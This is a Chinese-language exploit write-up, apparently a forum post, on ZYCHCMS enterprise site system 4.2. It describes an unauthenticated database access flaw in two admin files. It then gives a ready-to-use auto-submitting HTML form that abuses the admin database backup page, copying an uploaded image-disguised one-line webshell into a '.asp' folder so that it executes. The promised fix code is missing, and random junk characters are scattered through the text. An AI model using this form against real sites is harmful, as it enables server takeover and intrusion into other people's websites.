ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

4 a, |/ H) K5 _, X. T影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
& }. n" P0 Q* E 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
% c$ U* b# {" p- W* c1 b 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
4 N3 z* M, @8 f8 h  l# E9 {
) w" J& R5 K! F3 V# G/ H' J
②后台拿WBSHELL
' s6 X$ q2 q$ c" S 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
5 L# i7 {- C' y; g; z' e 这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码


. ~! s: `. j7 r9 t9 I<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
4 a. K4 g" s4 S9 g$ w) ^( m <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
6 E) |! k$ S6 V7 `- D </tr>
2 r# ^. @1 r4 f% x <tr>
, D* c1 \& j( v9 z3 a* k; f; b" Y <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
& Z" V/ ~) H, o) @$ p4 e3 v <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
* U/ t* N+ X( x <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
. v: e7 K$ G' z8 w$ q/ Z <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
  a8 I6 t/ @9 N' [0 `* L <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
( A& i5 w2 V! w) \& @% a* T <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
1 H  {4 @2 N! F0 d8 T3 `1 S$ |8 e2 U </div></td>
: L* B( F8 Q1 m% H: X </tr>
- k1 C1 [( ]4 f; S/ Y5 I7 Y2 K! Q6 T <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
( B9 `# p! |$ Z' @8 i <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
( C& y4 u$ o8 s1 T7 K; ` <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
* @9 {; M! v0 v) ^9 z) ~& L9 G <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
' G8 N. Z7 V) W9 n% L& p* o </div></td>
3 D5 E$ B; ?+ d6 q' d; B </tr>
</table></td></tr></form>
</table>
' s9 i2 v# p5 L! R* }1 \' E" z6 H* _ </td>
</tr>
</table>
<script>
document.all.add.submit();
</script>


5 R/ U8 h1 k1 m) X1 G. t( v4 L5 R
0 P' X7 S% ^0 y3 M% e

: w+ `% u) c: _; B& O
7 Y! J+ e" N; [9 ^: I, G& A5 I" v  e
6 {+ A) ~# L& w8 w) g2 F" [) K
1 L; z  [" i2 {5 x
3 q( |2 \  M$ {